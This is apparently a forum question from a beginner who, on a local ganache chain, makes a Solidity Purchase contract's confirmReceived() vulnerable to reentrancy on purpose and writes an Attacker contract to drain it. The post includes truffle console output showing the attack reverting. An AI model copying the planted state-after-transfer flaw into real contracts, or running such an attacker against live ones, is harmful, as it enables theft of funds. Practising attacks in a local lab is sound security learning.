Hello everyone i am new to solidity coding, and i want to improve my security skill regarding smart contracts and evm. In order to accomplish this goal i tried a reentrancy attack on a simple contract.
So i modified the code of the function confirmReceived(), to make it vulnerable to reentrancy.
function confirmReceived()
external
onlyBuyer
inState(State.Locked)
{
emit ItemReceived();
buyer.transfer(value);
state = State.Release; // changed the state after transfer on purpose
}
Then i deployed the attack contract.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../contracts/Purchase.sol";
contract Attacker {
Purchase public purchase;
constructor(address _purchaseaddress) {
purchase = Purchase(_purchaseaddress);
}
function attack () public payable {
if (address(purchase).balance > 1) {
purchase.confirmReceived();
}
}
receive() external payable {
attack();
}
function fundPurchase() external payable {
purchase.confirmPurchase{value: msg.value}();
}
}
Then i migrated everything on the local ganache blockchain, and put the code to work. However when i try on the truffle console to invoke the attack function, i get a revert from the EVM, without any information of what went wrong.
truffle(ganache)> let a = await Attacker.deployed()
undefined
truffle(ganache)> a.fundPurchase({value: web3.utils.toWei('20'), from: '0x4950BbA09D1031e34402Ed2e392B2c715a9Beb23'})
{
tx: '0x2f6f84b4b2fe36a580ffae1ed4ab134352bda7e6f7963be8e491113a6e8a8d50',
receipt: {
transactionHash: '0x2f6f84b4b2fe36a580ffae1ed4ab134352bda7e6f7963be8e491113a6e8a8d50',
transactionIndex: 0,
blockNumber: 3,
blockHash: '0x0f9de1629180488614d37ed1a5b3d26599dca6cd2efd957d3edaf4c539ccb78b',
from: '0x4950bba09d1031e34402ed2e392b2c715a9beb23',
to: '0xbf77e92e3a1cd9beb3696d97892bd9d19f96cae8',
cumulativeGasUsed: 58993,
gasUsed: 58993,
contractAddress: null,
logs: [],
logsBloom: '0x00000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000',
status: true,
effectiveGasPrice: 3193906734,
type: '0x2',
rawLogs: [ [Object] ]
},
logs: []
}
truffle(ganache)> a.attack()
Uncaught Error: VM Exception while processing transaction: revert
at evalmachine.<anonymous>
at sigintHandlersWrap (node:vm:270:12)
at Script.runInContext (node:vm:139:14)
at runScript (C:\Users\Art\AppData\Roaming\nvm\v18.14.2\node_modules\truffle\build\webpack:\packages\core\lib\console.js:505:1)
at Console.interpret (C:\Users\Art\AppData\Roaming\nvm\v18.14.2\node_modules\truffle\build\webpack:\packages\core\lib\console.js:520:1)
at bound (node:domain:433:15)
at REPLServer.runBound [as eval] (node:domain:444:12)
at REPLServer.onLine (node:repl:902:10)
at REPLServer.emit (node:events:513:28)
at REPLServer.emit (node:domain:489:12)
at REPLServer.[_onLine] [as _onLine] (node:internal/readline/interface:422:12)
at REPLServer.[_line] [as _line] (node:internal/readline/interface:892:18)
at REPLServer.[_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1270:22)
at REPLServer.self._ttyWrite (node:repl:997:9)
at ReadStream.onkeypress (node:internal/readline/interface:270:20)
at ReadStream.emit (node:events:513:28)
at ReadStream.emit (node:domain:489:12)
at emitKeys (node:internal/readline/utils:357:14)
at emitKeys.next (<anonymous>)
at ReadStream.onData (node:internal/readline/emitKeypressEvents:64:36) {
code: -32000,
data: {
hash: null,
programCounter: 340,
result: '0x',
reason: null,
message: 'revert'
},
reason: undefined,
hijackedStack: 'Error: VM Exception while processing transaction: revert\n' +
' at C:\\Users\\Art\\AppData\\Roaming\\nvm\\v18.14.2\\node_modules\\truffle\\build\\webpack:\\packages\\provider\\wrapper.js:25:1\n' +
' at C:\\Users\\Art\\AppData\\Roaming\\nvm\\v18.14.2\\node_modules\\truffle\\build\\webpack:\\packages\\provider\\wrapper.js:165:1\n' +
' at C:\\Users\\Art\\AppData\\Roaming\\nvm\\v18.14.2\\node_modules\\truffle\\build\\webpack:\\node_modules\\web3-providers-http\\lib\\index.js:127:1\n' +
' at processTicksAndRejections (node:internal/process/task_queues:95:5)'
}
truffle(ganache)>
I tried searching for solutions, but i did not find any, except maybe for the fact that the receive() function is asynchronous, but then how would I suppose to do the reeentrancy?
Thanks a lot guys, any help is appreciated.